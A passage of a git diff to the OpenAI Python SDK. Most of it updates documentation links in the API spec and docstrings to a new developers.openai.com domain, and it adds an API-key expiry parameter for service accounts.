- description: A tool that searches for relevant content from uploaded files. Learn more about the [file search tool](https://platform.openai.com/docs/guides/tools-file-search).
+ description: A tool that searches for relevant content from uploaded files. Learn more about the [file search tool](https://developers.openai.com/api/docs/guides/tools-file-search).
BetaFilters:
anyOf:
- $ref: '#/components/schemas/BetaComparisonFilter'
@@ -70378,7 +70486,7 @@ components:
- strict
- parameters
title: Function
- description: Defines a function in your own code the model can choose to call. Learn more about [function calling](https://platform.openai.com/docs/guides/function-calling).
+ description: Defines a function in your own code the model can choose to call. Learn more about [function calling](https://developers.openai.com/api/docs/guides/function-calling).
BetaInputItem:
discriminator:
propertyName: type
@@ -70800,7 +70908,7 @@ components:
- type
- detail
title: Input image
- description: An image input to the model. Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
+ description: An image input to the model. Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
BetaImageDetail:
type: string
enum:
@@ -71840,14 +71948,14 @@ components:
- type
- encrypted_content
title: Compaction item
- description: A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ description: A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
BetaReasoningItem:
type: object
description: |
A description of the chain of thought used by a reasoning model while generating
a response. Be sure to include these items in your `input` to the Responses API
for subsequent turns of a conversation if you are manually
- [managing context](https://platform.openai.com/docs/guides/conversation-state).
+ [managing context](https://developers.openai.com/api/docs/guides/conversation-state).
title: Reasoning
properties:
agent:
@@ -72414,7 +72522,7 @@ components:
required:
- type
title: Input image
- description: An image input to the model. Learn about [image inputs](https://platform.openai.com/docs/guides/vision)
+ description: An image input to the model. Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision)
BetaPromptCacheBreakpointParam:
properties:
mode:
@@ -72586,7 +72694,9 @@ components:
BetaFunctionToolCall:
type: object
title: Function tool call
- description: "A tool call to run a function. See the \n[function calling guide](https://platform.openai.com/docs/guides/function-calling) for more information.\n"
+ description: |
+ A tool call to run a function. See the
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
properties:
agent:
anyOf:
@@ -72647,7 +72757,7 @@ components:
title: Web search tool call
description: |
The results of a web search tool call. See the
- [web search guide](https://platform.openai.com/docs/guides/tools-web-search) for more information.
+ [web search guide](https://developers.openai.com/api/docs/guides/tools-web-search) for more information.
properties:
agent:
anyOf:
@@ -72887,7 +72997,7 @@ components:
title: Computer tool call
description: |
A tool call to a computer use tool. See the
- [computer use guide](https://platform.openai.com/docs/guides/tools-computer-use) for more information.
+ [computer use guide](https://developers.openai.com/api/docs/guides/tools-computer-use) for more information.
properties:
agent:
anyOf:
@@ -73210,7 +73320,7 @@ components:
title: File search tool call
description: |
The results of a file search tool call. See the
- [file search guide](https://platform.openai.com/docs/guides/tools-file-search) for more information.
+ [file search guide](https://developers.openai.com/api/docs/guides/tools-file-search) for more information.
properties:
agent:
anyOf:
@@ -73698,7 +73808,7 @@ components:
previous_response_id:
anyOf:
- type: string
- description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://platform.openai.com/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
example: resp_123
- type: 'null'
instructions:
@@ -73728,7 +73838,7 @@ components:
anyOf:
- $ref: '#/components/schemas/BetaServiceTierEnum'
description: |-
- Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. For models with a dedicated Fast tier, either value resolves to `service_tier=fast`; for other models, either value resolves to `service_tier=priority`. - When not set, the default behavior is 'auto'.
+ Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. For models with a dedicated Fast tier, either value resolves to `service_tier=fast`; for other models, either value resolves to `service_tier=priority`. - When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
- type: 'null'
type: object
@@ -73753,7 +73863,7 @@ components:
type: object
required: []
title: Prompt cache options
- description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
BetaPromptCacheModeEnum:
type: string
enum:
@@ -73773,7 +73883,7 @@ components:
- $ref: '#/components/schemas/BetaModelIdsResponses'
- type: string
- type: 'null'
- description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
BetaModelIdsResponses:
example: gpt-6-astra
anyOf:
@@ -74457,7 +74567,7 @@ components:
- id
- encrypted_content
title: Compaction item
- description: A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ description: A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
BetaProgramOutput:
properties:
agent:
@@ -75111,7 +75221,9 @@ components:
properties:
cached_tokens:
type: integer
- description: "The number of tokens that were retrieved from the cache. \n[More on prompt caching](https://platform.openai.com/docs/guides/prompt-caching).\n"
+ description: |
+ The number of tokens that were retrieved from the cache.
+ [More on prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
cache_write_tokens:
type: integer
description: The number of input tokens that were written to the cache.
@@ -75527,7 +75639,7 @@ components:
max_output_tokens:
anyOf:
- description: |
- An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
type: integer
- type: 'null'
required:
@@ -75830,8 +75942,8 @@ components:
Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
- If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
+ - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
+ - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the access-controlled Ultrafast Processing service tier. This tier is currently available for `gpt-5.6-sol`; a response served through it will show `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
@@ -75855,13 +75967,13 @@ components:
description: |
The unique ID of the previous response to the model. Use this to
create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
- type: 'null'
model:
description: |
Model ID used to generate the response, like `gpt-6-astra`. OpenAI
offers a wide range of models with different capabilities, performance
- characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
+ characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models)
to browse and compare available models.
$ref: '#/components/schemas/BetaModelIdsResponses'
background:
@@ -75869,7 +75981,7 @@ components:
- type: boolean
description: |
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
default: false
- type: 'null'
max_tool_calls:
@@ -75891,7 +76003,7 @@ components:
- type: object
description: |
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
required:
- id
properties:
@@ -75933,16 +76045,16 @@ components:
We support the following categories of tools:
- **Built-in tools**: Tools that are provided by OpenAI that extend the
- model's capabilities, like [web search](https://platform.openai.com/docs/guides/tools-web-search)
- or [file search](https://platform.openai.com/docs/guides/tools-file-search). Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ model's capabilities, like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search). Learn more about
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers
or predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you,
enabling the model to call your own code with strongly typed arguments
and outputs. Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling). You can also use
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling). You can also use
custom tools to call your own code.
items:
$ref: '#/components/schemas/BetaTool'
@@ -75995,7 +76107,7 @@ components:
description: |
This field is being replaced by `safety_identifier` and `prompt_cache_key`. Use `prompt_cache_key` instead to maintain caching optimizations.
A stable identifier for your end-users.
- Used to boost cache hit rates by better bucketing similar requests and to help OpenAI detect and prevent abuse. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ Used to boost cache hit rates by better bucketing similar requests and to help OpenAI detect and prevent abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
safety_identifier:
anyOf:
- type: string
@@ -76003,14 +76115,14 @@ components:
example: safety-identifier-1234
description: |
A stable identifier used to help detect users of your application that may be violating OpenAI's usage policies.
- The IDs should be a string that uniquely identifies each user, with a maximum length of 64 characters. We recommend hashing their username or email address, in order to avoid sending us any identifying information. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ The IDs should be a string that uniquely identifies each user, with a maximum length of 64 characters. We recommend hashing their username or email address, in order to avoid sending us any identifying information. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
- type: 'null'
prompt_cache_key:
anyOf:
- type: string
example: prompt-cache-key-1234
description: |
- Used by OpenAI to cache responses for similar requests to optimize your cache hit rates. Replaces the `user` field. [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ Used by OpenAI to cache responses for similar requests to optimize your cache hit rates. Replaces the `user` field. [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
- type: 'null'
prompt_cache_retention:
deprecated: true
@@ -76022,7 +76134,7 @@ components:
description: |
Deprecated. Use `prompt_cache_options.ttl` instead.
- The retention policy for the prompt cache. Set to `24h` to enable extended prompt caching, which keeps cached prefixes active for longer, up to a maximum of 24 hours. [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ The retention policy for the prompt cache. Set to `24h` to enable extended prompt caching, which keeps cached prefixes active for longer, up to a maximum of 24 hours. [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two
fields are independent and do not interact.
@@ -79408,11 +79520,11 @@ components:
Text, image, or file inputs to the model, used to generate a response.
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
anyOf:
- type: string
title: Text input
@@ -80591,7 +80703,7 @@ components:
Whether to store the generated model response for later retrieval via
API.
Defaults to true when omitted.
- If set to true, response data will be stored for at least 30 days, subject to the [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ If set to true, response data will be stored for at least 30 days, subject to the [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
default: true
- type: 'null'
instructions:
@@ -80615,7 +80727,7 @@ components:
- description: |
If set to true, the model response data will be streamed to the client
as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ See the [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
type: boolean
default: false
@@ -80638,7 +80750,7 @@ components:
max_output_tokens:
anyOf:
- description: |
- An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
type: integer
minimum: 16
- type: 'null'
@@ -80753,7 +80865,7 @@ components:
type: object
required: []
title: Prompt cache options
- description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
BetaCreateModelResponseProperties:
allOf:
- $ref: '#/components/schemas/BetaModelResponseProperties'
@@ -81094,12 +81206,12 @@ components:
additionalProperties: false
properties:
assistant_id:
- description: The ID of the [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to execute this run.
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) to use to execute this run.
type: string
thread:
$ref: '#/components/schemas/CreateThreadRequest'
model:
- description: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
+ description: The ID of the [Model](https://developers.openai.com/api/reference/resources/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
nullable: true
anyOf:
- type: string
@@ -81166,7 +81278,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
default: []
maxItems: 20
items:
@@ -81177,7 +81289,7 @@ components:
vector_store_ids:
type: array
description: |
- The ID of the [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
maxItems: 1
items:
type: string
@@ -81236,10 +81348,10 @@ components:
additionalProperties: false
properties:
assistant_id:
- description: The ID of the [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to execute this run.
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) to use to execute this run.
type: string
model:
- description: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
+ description: The ID of the [Model](https://developers.openai.com/api/reference/resources/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
nullable: true
anyOf:
- type: string
@@ -81248,7 +81360,7 @@ components:
reasoning_effort:
$ref: '#/components/schemas/ReasoningEffort'
instructions:
- description: Overrides the [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant) of the assistant. This is useful for modifying the behavior on a per-run basis.
+ description: Overrides the [instructions](https://developers.openai.com/api/docs/assistants/migration) of the assistant. This is useful for modifying the behavior on a per-run basis.
type: string
nullable: true
additional_instructions:
@@ -81489,12 +81601,12 @@ x-oaiMeta:
- id: responses-streaming
title: Streaming events
description: |
- When you [create a Response](https://platform.openai.com/docs/api-reference/responses/create) with
+ When you [create a Response](https://developers.openai.com/api/reference/resources/responses/methods/create) with
`stream` set to `true`, the server will emit server-sent events to the
client as the Response is generated. This section contains the events that
are emitted by the server.
- [Learn more about streaming responses](https://platform.openai.com/docs/guides/streaming-responses?api-mode=responses).
+ [Learn more about streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses).
navigationGroup: responses
sections:
- type: object
@@ -81675,7 +81787,7 @@ x-oaiMeta:
title: Server events
description: |
These events use the same payloads over WebSocket and
- [HTTP streaming](./streaming-events).
+ [HTTP streaming](https://developers.openai.com/api/reference/resources/responses/streaming-events).
navigationGroup: responses
sections:
- type: object
@@ -81844,7 +81956,7 @@ x-oaiMeta:
Webhooks are HTTP requests sent by OpenAI to a URL you specify when certain
events happen during the course of API usage.
- [Learn more about webhooks](https://platform.openai.com/docs/guides/webhooks).
+ [Learn more about webhooks](https://developers.openai.com/api/docs/guides/webhooks).
navigationGroup: webhooks
sections:
- type: object
@@ -81905,7 +82017,7 @@ x-oaiMeta:
title: Image Streaming
description: |
Stream image generation and editing in real time with server-sent events.
- [Learn more about image streaming](https://platform.openai.com/docs/guides/image-generation).
+ [Learn more about image streaming](https://developers.openai.com/api/docs/guides/image-generation).
navigationGroup: endpoints
sections:
- type: object
@@ -82144,7 +82256,7 @@ x-oaiMeta:
description: |
Stream Chat Completions in real time. Receive chunks of completions
returned from the model using server-sent events.
- [Learn more](https://platform.openai.com/docs/guides/streaming-responses?api-mode=chat).
+ [Learn more](https://developers.openai.com/api/docs/guides/streaming-responses).
navigationGroup: chat
sections:
- type: object
@@ -82155,11 +82267,11 @@ x-oaiMeta:
beta: true
description: |
Stream the result of executing a Run or resuming a Run after submitting tool outputs.
- You can stream events from the [Create Thread and Run](https://platform.openai.com/docs/api-reference/runs/createThreadAndRun),
- [Create Run](https://platform.openai.com/docs/api-reference/runs/createRun), and [Submit Tool Outputs](https://platform.openai.com/docs/api-reference/runs/submitToolOutputs)
+ You can stream events from the [Create Thread and Run](https://developers.openai.com/api/docs/assistants/migration),
+ [Create Run](https://developers.openai.com/api/docs/assistants/migration), and [Submit Tool Outputs](https://developers.openai.com/api/docs/assistants/migration)
endpoints by passing `"stream": true`. The response will be a [Server-Sent events](https://html.spec.whatwg.org/multipage/server-sent-events.html#server-sent-events) stream.
Our Node and Python SDKs provide helpful utilities to make streaming easy. Reference the
- [Assistants API quickstart](https://platform.openai.com/docs/assistants/overview) to learn more.
+ [Assistants API quickstart](https://developers.openai.com/api/docs/assistants/migration) to learn more.
navigationGroup: assistants
sections:
- type: object
diff --git a/src/openai/resources/admin/organization/audit_logs.py b/src/openai/resources/admin/organization/audit_logs.py
index 51f4bed101..a5c243c883 100644
--- a/src/openai/resources/admin/organization/audit_logs.py
+++ b/src/openai/resources/admin/organization/audit_logs.py
@@ -237,7 +237,7 @@ def list(
event_types: Return only events with a `type` in one of these values. For example,
`project.created`. For all options, see the documentation for the
- [audit log object](https://platform.openai.com/docs/api-reference/audit-logs/object).
+ [audit log object](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/audit_logs).
limit: A limit on the number of objects to be returned. Limit can range between 1 and
100, and the default is 20.
@@ -506,7 +506,7 @@ def list(
event_types: Return only events with a `type` in one of these values. For example,
`project.created`. For all options, see the documentation for the
- [audit log object](https://platform.openai.com/docs/api-reference/audit-logs/object).
+ [audit log object](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/audit_logs).
limit: A limit on the number of objects to be returned. Limit can range between 1 and
100, and the default is 20.
diff --git a/src/openai/resources/admin/organization/projects/projects.py b/src/openai/resources/admin/organization/projects/projects.py
index 3e6ae223b5..f85e73c30d 100644
--- a/src/openai/resources/admin/organization/projects/projects.py
+++ b/src/openai/resources/admin/organization/projects/projects.py
@@ -216,14 +216,14 @@ def create(
geography: Create the project with the specified data residency region. Your organization
must have access to Data residency functionality in order to use. See
- [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field. Deprecated:
use `residency` instead. Do not provide both `geography` and `residency`.
residency: Create the project with the specified residency configuration. Your organization
must have access to the requested residency configuration in order to use it.
See
- [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field.
extra_headers: Send extra headers
@@ -539,14 +539,14 @@ async def create(
geography: Create the project with the specified data residency region. Your organization
must have access to Data residency functionality in order to use. See
- [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field. Deprecated:
use `residency` instead. Do not provide both `geography` and `residency`.
residency: Create the project with the specified residency configuration. Your organization
must have access to the requested residency configuration in order to use it.
See
- [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field.
extra_headers: Send extra headers
diff --git a/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py b/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
index c1618d4ae6..be653b3f2c 100644
--- a/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
+++ b/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
@@ -65,6 +65,7 @@ def create(
*,
name: str,
create_service_account_only: Optional[bool] | Omit = omit,
+ expires_in_seconds: Optional[int] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
# The extra values given here take precedence over values defined on the client or passed to this method.
extra_headers: Headers | None = None,
@@ -82,6 +83,12 @@ def create(
create_service_account_only: Create the service account without default roles or an API key.
+ expires_in_seconds: Number of seconds until the initial API key expires. If omitted or null, the key
+ does not expire unless the effective organization or project policy requires an
+ expiration. When a policy sets a maximum lifetime, this value must be provided
+ and must not exceed that limit. A non-null value cannot be used when
+ `create_service_account_only` is true.
+
extra_headers: Send extra headers
extra_query: Add additional query parameters to the request
@@ -98,6 +105,7 @@ def create(
{
"name": name,
"create_service_account_only": create_service_account_only,
+ "expires_in_seconds": expires_in_seconds,
},
service_account_create_params.ServiceAccountCreateParams,
),
@@ -345,6 +353,7 @@ async def create(
*,
name: str,
create_service_account_only: Optional[bool] | Omit = omit,
+ expires_in_seconds: Optional[int] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
# The extra values given here take precedence over values defined on the client or passed to this method.
extra_headers: Headers | None = None,
@@ -362,6 +371,12 @@ async def create(
create_service_account_only: Create the service account without default roles or an API key.
+ expires_in_seconds: Number of seconds until the initial API key expires. If omitted or null, the key
+ does not expire unless the effective organization or project policy requires an
+ expiration. When a policy sets a maximum lifetime, this value must be provided
+ and must not exceed that limit. A non-null value cannot be used when
+ `create_service_account_only` is true.
+
extra_headers: Send extra headers
extra_query: Add additional query parameters to the request
@@ -378,6 +393,7 @@ async def create(
{
"name": name,
"create_service_account_only": create_service_account_only,
+ "expires_in_seconds": expires_in_seconds,
},
service_account_create_params.ServiceAccountCreateParams,
),
diff --git a/src/openai/resources/audio/speech.py b/src/openai/resources/audio/speech.py
index d0b255b4fb..fc698e2655 100644
--- a/src/openai/resources/audio/speech.py
+++ b/src/openai/resources/audio/speech.py
@@ -73,7 +73,8 @@ def create(
input: The text to generate audio for. The maximum length is 4096 characters.
model:
- One of the available [TTS models](https://platform.openai.com/docs/models#tts):
+ One of the available
+ [TTS models](https://developers.openai.com/api/docs/guides/text-to-speech):
`tts-1`, `tts-1-hd`, `gpt-4o-mini-tts`, or `gpt-4o-mini-tts-2025-12-15`.
voice: The voice to use when generating the audio. Supported built-in voices are
@@ -81,7 +82,7 @@ def create(
`shimmer`, `verse`, `marin`, and `cedar`. You may also provide a custom voice
object with an `id`, for example `{ "id": "voice_1234" }`. Previews of the
voices are available in the
- [Text to speech guide](https://platform.openai.com/docs/guides/text-to-speech#voice-options).
+ [Text to speech guide](https://developers.openai.com/api/docs/guides/text-to-speech#voice-options).
instructions: Control the voice of your generated audio with additional instructions. Does not
work with `tts-1` or `tts-1-hd`.
@@ -177,7 +178,8 @@ async def create(
input: The text to generate audio for. The maximum length is 4096 characters.
model:
- One of the available [TTS models](https://platform.openai.com/docs/models#tts):
+ One of the available
+ [TTS models](https://developers.openai.com/api/docs/guides/text-to-speech):
`tts-1`, `tts-1-hd`, `gpt-4o-mini-tts`, or `gpt-4o-mini-tts-2025-12-15`.
voice: The voice to use when generating the audio. Supported built-in voices are
@@ -185,7 +187,7 @@ async def create(
`shimmer`, `verse`, `marin`, and `cedar`. You may also provide a custom voice
object with an `id`, for example `{ "id": "voice_1234" }`. Previews of the
voices are available in the
- [Text to speech guide](https://platform.openai.com/docs/guides/text-to-speech#voice-options).
+ [Text to speech guide](https://developers.openai.com/api/docs/guides/text-to-speech#voice-options).
instructions: Control the voice of your generated audio with additional instructions. Does not
work with `tts-1` or `tts-1-hd`.
diff --git a/src/openai/resources/audio/transcriptions.py b/src/openai/resources/audio/transcriptions.py
index 7dd54f9f02..f5ec09441d 100644
--- a/src/openai/resources/audio/transcriptions.py
+++ b/src/openai/resources/audio/transcriptions.py
@@ -128,8 +128,9 @@ def create(
prompt: An optional text to guide the model's style or continue a previous audio
segment. The
- [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
- should match the audio language.
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
+ should match the audio language. This field is not supported when using
+ `gpt-4o-transcribe-diarize`.
response_format: The format of the output, in one of these options: `json`, `text`, `srt`,
`verbose_json`, or `vtt`. For `gpt-4o-transcribe` and `gpt-4o-mini-transcribe`,
@@ -139,7 +140,7 @@ def create(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
@@ -276,7 +277,7 @@ def create(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
@@ -318,7 +319,7 @@ def create(
prompt: An optional text to guide the model's style or continue a previous audio
segment. The
- [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should match the audio language. This field is not supported when using
`gpt-4o-transcribe-diarize`.
@@ -397,7 +398,7 @@ def create(
generated using
